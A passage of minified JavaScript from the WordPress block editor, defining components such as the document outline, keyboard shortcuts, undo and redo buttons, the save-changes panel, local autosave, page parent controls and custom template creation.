t().map((e=>s(e)))})),r=(0,c.useSelect)((e=>{if("post-only"===e(Ac).getRenderingMode())return;const{getBlocksByName:t,getClientIdsOfDescendants:s}=e(h.store),[o]=t("core/post-content");return o?s(o):void 0}),[]),a=(0,u.useRef)(1),l=(0,u.useMemo)((()=>rd(i)),[i]);if(l.length<1)return(0,L.jsxs)("div",{className:"editor-document-outline has-no-headings",children:[(0,L.jsx)(id,{}),(0,L.jsx)("p",{children:(0,fs.__)("Navigate the structure of your document and address issues like empty or incorrect heading levels.")})]});const p=document.querySelector(".editor-post-title__input"),m=n&&o&&p,g=l.reduce(((e,t)=>({...e,[t.level]:(e[t.level]||0)+1})),{})[1]>1;return(0,L.jsx)("div",{className:"document-outline",children:(0,L.jsxs)("ul",{children:[m&&(0,L.jsx)(ed,{level:(0,fs.__)("Title"),isValid:!0,onSelect:e,href:`#${p.id}`,isDisabled:t,children:o}),l.map((o=>{const n=o.level>a.current+1,i=!(o.isEmpty||n||!o.level||1===o.level&&(g||m));return a.current=o.level,(0,L.jsxs)(ed,{level:`H${o.level}`,isValid:i,isDisabled:t||(l=o.clientId,!(!Array.isArray(r)||r.includes(l))),href:`#block-${o.clientId}`,onSelect:()=>{s(o.clientId),e?.()},children:[o.isEmpty?td:(0,Jc.getTextContent)((0,Jc.create)({html:o.attributes.content})),n&&sd,1===o.level&&g&&nd,m&&1===o.level&&!g&&od]},o.clientId);var l}))]})})}function cd({children:e}){const t=(0,c.useSelect)((e=>{const{getGlobalBlockCount:t}=e(h.store);return t("core/heading")>0}));return t?e:null}const dd=function(){const{registerShortcut:e}=(0,c.useDispatch)(vl.store);return(0,u.useEffect)((()=>{e({name:"core/editor/toggle-mode",category:"global",description:(0,fs.__)("Switch between visual editor and code editor."),keyCombination:{modifier:"secondary",character:"m"}}),e({name:"core/editor/save",category:"global",description:(0,fs.__)("Save your changes."),keyCombination:{modifier:"primary",character:"s"}}),e({name:"core/editor/undo",category:"global",description:(0,fs.__)("Undo your last changes."),keyCombination:{modifier:"primary",character:"z"}}),e({name:"core/editor/redo",category:"global",description:(0,fs.__)("Redo your last undo."),keyCombination:{modifier:"primaryShift",character:"z"},aliases:(0,wl.isAppleOS)()?[]:[{modifier:"primary",character:"y"}]}),e({name:"core/editor/toggle-list-view",category:"global",description:(0,fs.__)("Show or hide the List View."),keyCombination:{modifier:"access",character:"o"}}),e({name:"core/editor/toggle-distraction-free",category:"global",description:(0,fs.__)("Enter or exit distraction free mode."),keyCombination:{modifier:"primaryShift",character:"\\"}}),e({name:"core/editor/toggle-sidebar",category:"global",description:(0,fs.__)("Show or hide the Settings panel."),keyCombination:{modifier:"primaryShift",character:","}}),e({name:"core/editor/keyboard-shortcuts",category:"main",description:(0,fs.__)("Display these keyboard shortcuts."),keyCombination:{modifier:"access",character:"h"}}),e({name:"core/editor/next-region",category:"global",description:(0,fs.__)("Navigate to the next part of the editor."),keyCombination:{modifier:"ctrl",character:"`"},aliases:[{modifier:"access",character:"n"}]}),e({name:"core/editor/previous-region",category:"global",description:(0,fs.__)("Navigate to the previous part of the editor."),keyCombination:{modifier:"ctrlShift",character:"`"},aliases:[{modifier:"access",character:"p"},{modifier:"ctrlShift",character:"~"}]})}),[e]),(0,L.jsx)(h.BlockEditorKeyboardShortcuts.Register,{})},ud=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z"})}),pd=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z"})});const md=(0,u.forwardRef)((function(e,t){const s=(0,wl.isAppleOS)()?wl.displayShortcut.primaryShift("z"):wl.displayShortcut.primary("y"),o=(0,c.useSelect)((e=>e(Ac).hasEditorRedo()),[]),{redo:n}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,fs.isRTL)()?pd:ud,label:(0,fs.__)("Redo"),shortcut:s,"aria-disabled":!o,onClick:o?n:void 0,className:"editor-history__redo"})}));const hd=(0,u.forwardRef)((function(e,t){const s=(0,c.useSelect)((e=>e(Ac).hasEditorUndo()),[]),{undo:o}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,fs.isRTL)()?ud:pd,label:(0,fs.__)("Undo"),shortcut:wl.displayShortcut.primary("z"),"aria-disabled":!s,onClick:s?o:void 0,className:"editor-history__undo"})}));function gd(){const[e,t]=(0,u.useState)(!1),s=(0,c.useSelect)((e=>e(h.store).isValidTemplate()),[]),{setTemplateValidity:o,synchronizeTemplate:n}=(0,c.useDispatch)(h.store);return s?null:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.Notice,{className:"editor-template-validation-notice",isDismissible:!1,status:"warning",actions:[{label:(0,fs.__)("Keep it as is"),onClick:()=>o(!0)},{label:(0,fs.__)("Reset the template"),onClick:()=>t(!0)}],children:(0,fs.__)("The content of your post doesn’t match the template assigned to your post type.")}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:e,confirmButtonText:(0,fs.__)("Reset"),onConfirm:()=>{t(!1),n()},onCancel:()=>t(!1),size:"medium",children:(0,fs.__)("Resetting the template may result in loss of content, do you want to continue?")})]})}const _d=function(){const{notices:e}=(0,c.useSelect)((e=>({notices:e(_s.store).getNotices()})),[]),{removeNotice:t}=(0,c.useDispatch)(_s.store),s=e.filter((({isDismissible:e,type:t})=>e&&"default"===t)),o=e.filter((({isDismissible:e,type:t})=>!e&&"default"===t));return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.NoticeList,{notices:o,className:"components-editor-notices__pinned"}),(0,L.jsx)(Uo.NoticeList,{notices:s,className:"components-editor-notices__dismissible",onRemove:t,children:(0,L.jsx)(gd,{})})]})},fd=-3;function bd(){const e=(0,c.useSelect)((e=>e(_s.store).getNotices()),[]),{removeNotice:t}=(0,c.useDispatch)(_s.store),s=e.filter((({type:e})=>"snackbar"===e)).slice(fd);return(0,L.jsx)(Uo.SnackbarList,{notices:s,className:"components-editor-notices__snackbar",onRemove:t})}function yd({record:e,checked:t,onChange:s}){const{name:o,kind:n,title:i,key:r}=e,{entityRecordTitle:a,hasPostMetaChanges:l}=(0,c.useSelect)((e=>{var t;if("postType"!==n||"wp_template"!==o)return{entityRecordTitle:i,hasPostMetaChanges:$(e(Ac)).hasPostMetaChanges(o,r)};const s=e(d.store).getEditedEntityRecord(n,o,r),{default_template_types:a=[]}=null!==(t=e(d.store).getCurrentTheme())&&void 0!==t?t:{};return{entityRecordTitle:Y({template:s,templateTypes:a}).title,hasPostMetaChanges:$(e(Ac)).hasPostMetaChanges(o,r)}}),[o,n,i,r]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.PanelRow,{children:(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,Lo.decodeEntities)(a)||(0,fs.__)("Untitled"),checked:t,onChange:s,className:"entities-saved-states__change-control"})}),l&&(0,L.jsx)("ul",{className:"entities-saved-states__changes",children:(0,L.jsx)("li",{children:(0,fs.__)("Post Meta.")})})]})}const{getGlobalStylesChanges:xd,GlobalStylesContext:vd}=$(h.privateApis);function Sd({record:e}){const{user:t}=(0,u.useContext)(vd),s=(0,c.useSelect)((t=>t(d.store).getEntityRecord(e.kind,e.name,e.key)),[e.kind,e.name,e.key]),o=xd(t,s,{maxResults:10});return o.length?(0,L.jsx)("ul",{className:"entities-saved-states__changes",children:o.map((e=>(0,L.jsx)("li",{children:e},e)))}):null}function wd({record:e,count:t}){if("globalStyles"===e?.name)return null;const s=function(e,t){switch(e){case"site":return 1===t?(0,fs.__)("This change will affect your whole site."):(0,fs.__)("These changes will affect your whole site.");case"wp_template":return(0,fs.__)("This change will affect other parts of your site that use this template.");case"page":case"post":return(0,fs.__)("The following has been modified.")}}(e?.name,t);return s?(0,L.jsx)(Uo.PanelRow,{children:s}):null}function kd({list:e,unselectedEntities:t,setUnselectedEntities:s}){const o=e.length,n=e[0];let i=(0,c.useSelect)((e=>e(d.store).getEntityConfig(n.kind,n.name)),[n.kind,n.name]).label;return"wp_template_part"===n?.name&&(i=1===o?(0,fs.__)("Template Part"):(0,fs.__)("Template Parts")),(0,L.jsxs)(Uo.PanelBody,{title:i,initialOpen:!0,className:"entities-saved-states__panel-body",children:[(0,L.jsx)(wd,{record:n,count:o}),e.map((e=>(0,L.jsx)(yd,{record:e,checked:!t.some((t=>t.kind===e.kind&&t.name===e.name&&t.key===e.key&&t.property===e.property)),onChange:t=>s(e,t)},e.key||e.property))),"globalStyles"===n?.name&&(0,L.jsx)(Sd,{record:n})]})}const Cd=()=>{const{editedEntities:e,siteEdits:t,siteEntityConfig:s}=(0,c.useSelect)((e=>{const{__experimentalGetDirtyEntityRecords:t,getEntityRecordEdits:s,getEntityConfig:o}=e(d.store);return{editedEntities:t(),siteEdits:s("root","site"),siteEntityConfig:o("root","site")}}),[]),o=(0,u.useMemo)((()=>{var o;const n=e.filter((e=>!("root"===e.kind&&"site"===e.name))),i=null!==(o=s?.meta?.labels)&&void 0!==o?o:{},r=[];for(const e in t)r.push({kind:"root",name:"site",title:i[e]||e,property:e});return[...n,...r]}),[e,t,s]),[n,i]=(0,u.useState)([]);return{dirtyEntityRecords:o,isDirty:o.length-n.length>0,setUnselectedEntities:({kind:e,name:t,key:s,property:o},r)=>{i(r?n.filter((n=>n.kind!==e||n.name!==t||n.key!==s||n.property!==o)):[...n,{kind:e,name:t,key:s,property:o}])},unselectedEntities:n}};function Pd(e){return e}function jd({close:e,renderDialog:t,variant:s}){const o=Cd();return(0,L.jsx)(Ed,{close:e,renderDialog:t,variant:s,...o})}function Ed({additionalPrompt:e,close:t,onSave:s=Pd,saveEnabled:o,saveLabel:n=(0,fs.__)("Save"),renderDialog:i,dirtyEntityRecords:r,isDirty:a,setUnselectedEntities:l,unselectedEntities:d,variant:m="default"}){const h=(0,u.useRef)(),{saveDirtyEntities:g}=$((0,c.useDispatch)(Ac)),_=r.reduce(((e,t)=>{const{name:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),{site:f,wp_template:b,wp_template_part:y,...x}=_,v=[f,b,y,...Object.values(x)].filter(Array.isArray),S=null!=o?o:a,w=(0,u.useCallback)((()=>t()),[t]),[k,C]=(0,p.__experimentalUseDialog)({onClose:()=>w()}),P=(0,p.useInstanceId)(Ed,"entities-saved-states__panel-label"),j=(0,p.useInstanceId)(Ed,"entities-saved-states__panel-description"),E=r.length?(0,fs.__)("Select the items you want to save."):void 0,T="inline"===m,B=(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.FlexItem,{isBlock:!T,as:Uo.Button,variant:T?"tertiary":"secondary",size:T?void 0:"compact",onClick:w,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.FlexItem,{isBlock:!T,as:Uo.Button,ref:h,variant:"primary",size:T?void 0:"compact",disabled:!S,accessibleWhenDisabled:!0,onClick:()=>g({onSave:s,dirtyEntityRecords:r,entitiesToSkip:d,close:t}),className:"editor-entities-saved-states__save-button",children:n})]});return(0,L.jsxs)("div",{ref:i?k:void 0,...i&&C,className:Di("entities-saved-states__panel",{"is-inline":T}),role:i?"dialog":void 0,"aria-labelledby":i?P:void 0,"aria-describedby":i?j:void 0,children:[!T&&(0,L.jsx)(Uo.Flex,{className:"entities-saved-states__panel-header",gap:2,children:B}),(0,L.jsxs)("div",{className:"entities-saved-states__text-prompt",children:[(0,L.jsx)("div",{className:"entities-saved-states__text-prompt--header-wrapper",children:(0,L.jsx)("strong",{id:i?P:void 0,className:"entities-saved-states__text-prompt--header",children:(0,fs.__)("Are you ready to save?")})}),(0,L.jsxs)("div",{id:i?j:void 0,children:[e,(0,L.jsx)("p",{className:"entities-saved-states__text-prompt--changes-count",children:a?(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs._n)("There is <strong>%d site change</strong> waiting to be saved.","There are <strong>%d site changes</strong> waiting to be saved.",r.length),r.length),{strong:(0,L.jsx)("strong",{})}):E})]})]}),v.map((e=>(0,L.jsx)(kd,{list:e,unselectedEntities:d,setUnselectedEntities:l},e[0].name))),T&&(0,L.jsx)(Uo.Flex,{direction:"row",justify:"flex-end",className:"entities-saved-states__panel-footer",children:B})]})}function Td(){try{return(0,c.select)(Ac).getEditedPostContent()}catch(e){}}function Bd({text:e,children:t,variant:s="secondary"}){const o=(0,p.useCopyToClipboard)(e);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:s,ref:o,children:t})}class Id extends u.Component{constructor(){super(...arguments),this.state={error:null}}componentDidCatch(e){(0,m.doAction)("editor.ErrorBoundary.errorLogged",e)}static getDerivedStateFromError(e){return{error:e}}render(){const{error:e}=this.state,{canCopyContent:t=!1}=this.props;return e?(0,L.jsxs)(Uo.__experimentalHStack,{className:"editor-error-boundary",alignment:"baseline",spacing:4,justify:"space-between",expanded:!1,wrap:!0,children:[(0,L.jsx)(Uo.__experimentalText,{as:"p",children:(0,fs.__)("The editor has encountered an unexpected error.")}),(0,L.jsxs)(Uo.__experimentalHStack,{expanded:!1,children:[t&&(0,L.jsx)(Bd,{text:Td,children:(0,fs.__)("Copy contents")}),(0,L.jsx)(Bd,{variant:"primary",text:e?.stack,children:(0,fs.__)("Copy error")})]})]}):this.props.children}}const Nd=Id,Dd=window.requestIdleCallback?window.requestIdleCallback:window.requestAnimationFrame;let Ad;function Rd(){const{postId:e,isEditedPostNew:t,hasRemoteAutosave:s}=(0,c.useSelect)((e=>({postId:e(Ac).getCurrentPostId(),isEditedPostNew:e(Ac).isEditedPostNew(),hasRemoteAutosave:!!e(Ac).getEditorSettings().autosave})),[]),{getEditedPostAttribute:o}=(0,c.useSelect)(Ac),{createWarningNotice:n,removeNotice:i}=(0,c.useDispatch)(_s.store),{editPost:r,resetEditorBlocks:a}=(0,c.useDispatch)(Ac);(0,u.useEffect)((()=>{let l=function(e,t){return window.sessionStorage.getItem(bs(e,t))}(e,t);if(!l)return;try{l=JSON.parse(l)}catch{return}const{post_title:c,content:d,excerpt:u}=l,p={title:c,content:d,excerpt:u};if(!Object.keys(p).some((e=>p[e]!==o(e))))return void ys(e,t);if(s)return;const m="wpEditorAutosaveRestore";n((0,fs.__)("The backup of this post in your browser is different from the version below."),{id:m,actions:[{label:(0,fs.__)("Restore the backup"),onClick(){const{content:e,...t}=p;r(t),a((0,y.parse)(p.content)),i(m)}}]})}),[t,e])}const Md=(0,p.ifCondition)((()=>{if(void 0!==Ad)return Ad;try{window.sessionStorage.setItem("__wpEditorTestSessionStorage",""),window.sessionStorage.removeItem("__wpEditorTestSessionStorage"),Ad=!0}catch{Ad=!1}return Ad}))((function(){const{autosave:e}=(0,c.useDispatch)(Ac),t=(0,u.useCallback)((()=>{Dd((()=>e({local:!0})))}),[]);Rd(),function(){const{postId:e,isEditedPostNew:t,isDirty:s,isAutosaving:o,didError:n}=(0,c.useSelect)((e=>({postId:e(Ac).getCurrentPostId(),isEditedPostNew:e(Ac).isEditedPostNew(),isDirty:e(Ac).isEditedPostDirty(),isAutosaving:e(Ac).isAutosavingPost(),didError:e(Ac).didPostSaveRequestFail()})),[]),i=(0,u.useRef)(s),r=(0,u.useRef)(o);(0,u.useEffect)((()=>{!n&&(r.current&&!o||i.current&&!s)&&ys(e,t),i.current=s,r.current=o}),[s,o,n]);const a=(0,p.usePrevious)(t),l=(0,p.usePrevious)(e);(0,u.useEffect)((()=>{l===e&&a&&!t&&ys(e,!0)}),[t,e])}();const s=(0,c.useSelect)((e=>e(Ac).getEditorSettings().localAutosaveInterval),[]);return(0,L.jsx)(Wc,{interval:s,autosave:t})}));const Ld=function({children:e}){const t=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t}=e(Ac),{getPostType:s}=e(d.store),o=s(t("type"));return!!o?.supports?.["page-attributes"]}),[]);return t?e:null};const Od=function({children:e,supportKeys:t}){const s=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t}=e(Ac),{getPostType:s}=e(d.store);return s(t("type"))}),[]);let o=!!s;return s&&(o=(Array.isArray(t)?t:[t]).some((e=>!!s.supports[e]))),o?e:null};function Fd(){const e=(0,c.useSelect)((e=>{var t;return null!==(t=e(Ac).getEditedPostAttribute("menu_order"))&&void 0!==t?t:0}),[]),{editPost:t}=(0,c.useDispatch)(Ac),[s,o]=(0,u.useState)(null),n=null!=s?s:e;return(0,L.jsx)(Uo.Flex,{children:(0,L.jsx)(Uo.FlexBlock,{children:(0,L.jsx)(Uo.__experimentalNumberControl,{__next40pxDefaultSize:!0,label:(0,fs.__)("Order"),help:(0,fs.__)("Set the page order."),value:n,onChange:e=>{o(e);const s=Number(e);Number.isInteger(s)&&""!==e.trim?.()&&t({menu_order:s})},hideLabelFromVision:!0,onBlur:()=>{o(null)}})})})}function Vd(){return(0,L.jsx)(Od,{supportKeys:"page-attributes",children:(0,L.jsx)(Fd,{})})}const zd=(0,u.forwardRef)((({className:e,label:t,children:s},o)=>(0,L.jsxs)(Uo.__experimentalHStack,{className:Di("editor-post-panel__row",e),ref:o,children:[t&&(0,L.jsx)("div",{className:"editor-post-panel__row-label",children:t}),(0,L.jsx)("div",{className:"editor-post-panel__row-control",children:s})]})));function Ud(e){const t=e.map((e=>({children:[],parent:void 0,...e})));if(t.some((({parent:e})=>void 0===e)))return t;const s=t.reduce(((e,t)=>{const{parent:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),o=e=>e.map((e=>{const t=s[e.id];return{...e,children:t&&t.length?o(t):[]}}));return o(s[0]||[])}const Hd=e=>(0,Lo.decodeEntities)(e),Gd=e=>({...e,name:Hd(e.name)}),$d=e=>(null!=e?e:[]).map(Gd);function Wd(e){return e?.title?.rendered?(0,Lo.decodeEntities)(e.title.rendered):`#${e.id} (${(0,fs.__)("no title")})`}const Zd=(e,t)=>{const s=sr()(e||"").toLowerCase(),o=sr()(t||"").toLowerCase();return s===o?0:s.startsWith(o)?s.length:1/0};function Yd(){const{editPost:e}=(0,c.useDispatch)(Ac),[t,s]=(0,u.useState)(!1),{isHierarchical:o,parentPostId:n,parentPostTitle:i,pageItems:r,isLoading:a}=(0,c.useSelect)((e=>{var s;const{getPostType:o,getEntityRecords:n,getEntityRecord:i,isResolving:r}=e(d.store),{getCurrentPostId:a,getEditedPostAttribute:l}=e(Ac),c=l("type"),u=l("parent"),p=o(c),m=a(),h=null!==(s=p?.hierarchical)&&void 0!==s&&s,g={per_page:100,exclude:m,parent_exclude:m,orderby:"menu_order",order:"asc",_fields:"id,title,parent"};t&&(g.search=t);const _=u?i("postType",c,u):null;return{isHierarchical:h,parentPostId:u,parentPostTitle:_?Wd(_):"",pageItems:h?n("postType",c,g):null,isLoading:!!h&&r("getEntityRecords",["postType",c,g])}}),[t]),l=(0,u.useMemo)((()=>{const e=(s,o=0)=>{const n=s.map((t=>[{value:t.id,label:"— ".repeat(o)+(0,Lo.decodeEntities)(t.name),rawName:t.name},...e(t.children||[],o+1)])).sort((([e],[s])=>Zd(e.rawName,t)>=Zd(s.rawName,t)?1:-1));return n.flat()};if(!r)return[];let s=r.map((e=>({id:e.id,parent:e.parent,name:Wd(e)})));t||(s=Ud(s));const o=e(s),a=o.find((e=>e.value===n));return i&&!a&&o.unshift({value:n,label:i}),o}),[r,t,i,n]);if(!o)return null;return(0,L.jsx)(Uo.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,className:"editor-page-attributes__parent",label:(0,fs.__)("Parent"),help:(0,fs.__)("Choose a parent page."),value:n,options:l,onFilterValueChange:(0,p.debounce)((e=>{s(e)}),300),onChange:t=>{e({parent:t})},hideLabelFromVision:!0,isLoading:a})}function Kd({isOpen:e,onClick:t}){const s=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t}=e(Ac),s=t("parent");if(!s)return null;const{getEntityRecord:o}=e(d.store);return o("postType",t("type"),s)}),[]),o=(0,u.useMemo)((()=>s?Wd(s):(0,fs.__)("None")),[s]);return(0,L.jsx)(Uo.Button,{size:"compact",className:"editor-post-parent__panel-toggle",variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.sprintf)((0,fs.__)("Change parent: %s"),o),onClick:t,children:o})}function qd(){const e=(0,c.useSelect)((e=>e(d.store).getEntityRecord("root","__unstableBase")?.home),[]),[t,s]=(0,u.useState)(null),o=(0,u.useMemo)((()=>({anchor:t,placement:"left-start",offset:36,shift:!0})),[t]);return(0,L.jsx)(zd,{label:(0,fs.__)("Parent"),ref:s,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:o,className:"editor-post-parent__panel-dropdown",contentClassName:"editor-post-parent__panel-dialog",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=>(0,L.jsx)(Kd,{isOpen:e,onClick:t}),renderContent:({onClose:t})=>(0,L.jsxs)("div",{className:"editor-post-parent",children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Parent"),onClose:t}),(0,L.jsxs)("div",{children:[(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)('Child pages inherit characteristics from their parent, such as URL structure. For instance, if "Pricing" is a child of "Services", its URL would be %s<wbr />/services<wbr />/pricing.'),(0,v.filterURLForDisplay)(e).replace(/([/.])/g,"<wbr />$1")),{wbr:(0,L.jsx)("wbr",{})}),(0,L.jsx)("p",{children:(0,u.createInterpolateElement)((0,fs.__)("They also show up as sub-items in the default navigation menu. <a>Learn more.</a>"),{a:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)("https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes")})})})]}),(0,L.jsx)(Yd,{})]})})})}const Qd=Yd,Xd="page-attributes";function Jd(){const{isEnabled:e,postType:t}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t,isEditorPanelEnabled:s}=e(Ac),{getPostType:o}=e(d.store);return{isEnabled:s(Xd),postType:o(t("type"))}}),[]);return e&&t?(0,L.jsx)(qd,{}):null}function eu(){return(0,L.jsx)(Ld,{children:(0,L.jsx)(Jd,{})})}const tu=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M18.5 5.5V8H20V5.5H22.5V4H20V1.5H18.5V4H16V5.5H18.5ZM13.9624 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H18C19.1046 20 20 19.1046 20 18V10.0391H18.5V18C18.5 18.2761 18.2761 18.5 18 18.5H10L10 10.4917L16.4589 10.5139L16.4641 9.01389L5.5 8.97618V6C5.5 5.72386 5.72386 5.5 6 5.5H13.9624V4ZM5.5 10.4762V18C5.5 18.2761 5.72386 18.5 6 18.5H8.5L8.5 10.4865L5.5 10.4762Z"})}),su=(0,fs.__)("Custom Template");function ou({onClose:e}){const{defaultBlockTemplate:t,onNavigateToEntityRecord:s}=(0,c.useSelect)((e=>{const{getEditorSettings:t,getCurrentTemplateId:s}=e(Ac);return{defaultBlockTemplate:t().defaultBlockTemplate,onNavigateToEntityRecord:t().onNavigateToEntityRecord,getTemplateId:s}})),{createTemplate:o}=$((0,c.useDispatch)(Ac)),[n,i]=(0,u.useState)(""),[r,a]=(0,u.useState)(!1),l=()=>{i(""),e()};return(0,L.jsx)(Uo.Modal,{title:(0,fs.__)("Create custom template"),onRequestClose:l,focusOnMount:"firstContentElement",size:"small",children:(0,L.jsx)("form",{className:"editor-post-template__create-form",onSubmit:async e=>{if(e.preventDefault(),r)return;a(!0);const i=null!=t?t:(0,y.serialize)([(0,y.createBlock)("core/group",{tagName:"header",layout:{inherit:!0}},[(0,y.createBlock)("core/site-title"),(0,y.createBlock)("core/site-tagline")]),(0,y.createBlock)("core/separator"),(0,y.createBlock)("core/group",{tagName:"main"},[(0,y.createBlock)("core/group",{layout:{inherit:!0}},[(0,y.createBlock)("core/post-title")]),(0,y.createBlock)("core/post-content",{layout:{inherit:!0}})])]),c=await o({slug:(0,v.cleanForSlug)(n||su),content:i,title:n||su});a(!1),s({postId:c.id,postType:"wp_template"}),l()},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"3",children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,fs.__)("Name"),value:n,onChange:i,placeholder:su,disabled:r,help:(0,fs.__)('Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.')}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:l,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",isBusy:r,"aria-disabled":r,children:(0,fs.__)("Create")})]})]})})})}function nu(){return(0,c.useSelect)((e=>{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac);return{postId:t(),postType:s()}}),[])}function iu(){const{postType:e,postId:t}=nu();return(0,c.useSelect)((s=>{const{canUser:o,getEntityRecord:n,getEntityRecords:i}=s(d.store),r=o("read",{kind:"root",name:"site"})?n("root","site"):void 0,a=i("postType","wp_template",{per_page:-1}),l=+t===r?.page_for_posts,c="page"===e&&+t===r?.page_on_front&&a?.some((({slug:e})=>"front-page"===e));return!l&&!c}),[t,e])}function ru(e){return(0,c.useSelect)((t=>t(d.store).getEntityRecords("postType","wp_template",{per_page:-1,post_type:e})),[e])}function au(e){const t=lu(),s=iu(),o=ru(e);return(0,u.useMemo)((()=>s&&o?.filter((e=>e.is_custom&&e.slug!==t&&!!e.content.raw))),[o,t,s])}function lu(){const{postType:e,postId:t}=nu(),s=ru(e),o=(0,c.useSelect)((s=>{const o=s(d.store).getEditedEntityRecord("postType",e,t);return o?.template}),[e,t]);if(o)return s?.find((e=>e.slug===o))?.slug}function cu({isOpen:e,onClick:t}){const s=(0,c.useSelect)((e=>{const t=e(Ac).getEditedPostAttribute("template"),{supportsTemplateMode:s,availableTemplates:o}=e(Ac).getEditorSettings();if(!s&&o[t])return o[t];const n=e(d.store).canUser("create",{kind:"postType",name:"wp_template"})&&e(Ac).getCurrentTemplateId();return n?.title||n?.slug||o?.[t]}),[]);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.__)("Template options"),onClick:t,children:null!=s?s:(0,fs.__)("Default template")})}function du({onClose:e}){var t,s;const o=iu(),{availableTemplates:n,fetchedTemplates:i,selectedTemplateSlug:r,canCreate:a,canEdit:l,currentTemplateId:p,onNavigateToEntityRecord:m,getEditorSettings:g}=(0,c.useSelect)((e=>{const{canUser:t,getEntityRecords:s}=e(d.store),n=e(Ac).getEditorSettings(),i=t("create",{kind:"postType",name:"wp_template"}),r=e(Ac).getCurrentTemplateId();return{availableTemplates:n.availableTemplates,fetchedTemplates:i?s("postType","wp_template",{post_type:e(Ac).getCurrentPostType(),per_page:-1}):void 0,selectedTemplateSlug:e(Ac).getEditedPostAttribute("template"),canCreate:o&&i&&n.supportsTemplateMode,canEdit:o&&i&&n.supportsTemplateMode&&!!r,currentTemplateId:r,onNavigateToEntityRecord:n.onNavigateToEntityRecord,getEditorSettings:e(Ac).getEditorSettings}}),[o]),_=(0,u.useMemo)((()=>Object.entries({...n,...Object.fromEntries((null!=i?i:[]).map((({slug:e,title:t})=>[e,t.rendered])))}).map((([e,t])=>({value:e,label:t})))),[n,i]),f=null!==(t=_.find((e=>e.value===r)))&&void 0!==t?t:_.find((e=>!e.value)),{editPost:b}=(0,c.useDispatch)(Ac),{createSuccessNotice:y}=(0,c.useDispatch)(_s.store),[x,v]=(0,u.useState)(!1);return(0,L.jsxs)("div",{className:"editor-post-template__classic-theme-dropdown",children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Template"),help:(0,fs.__)("Templates define the way content is displayed when viewing your site."),actions:a?[{icon:tu,label:(0,fs.__)("Add template"),onClick:()=>v(!0)}]:[],onClose:e}),o?(0,L.jsx)(Uo.SelectControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,hideLabelFromVision:!0,label:(0,fs.__)("Template"),value:null!==(s=f?.value)&&void 0!==s?s:"",options:_,onChange:e=>b({template:e||""})}):(0,L.jsx)(Uo.Notice,{status:"warning",isDismissible:!1,children:(0,fs.__)("The posts page template cannot be changed.")}),l&&m&&(0,L.jsx)("p",{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"link",onClick:()=>{m({postId:p,postType:"wp_template"}),e(),y((0,fs.__)("Editing template. Changes made here affect all posts and pages that use the template."),{type:"snackbar",actions:[{label:(0,fs.__)("Go back"),onClick:()=>g().onNavigateToPreviousEntityRecord()}]})},children:(0,fs.__)("Edit template")})}),x&&(0,L.jsx)(ou,{onClose:()=>v(!1)})]})}const 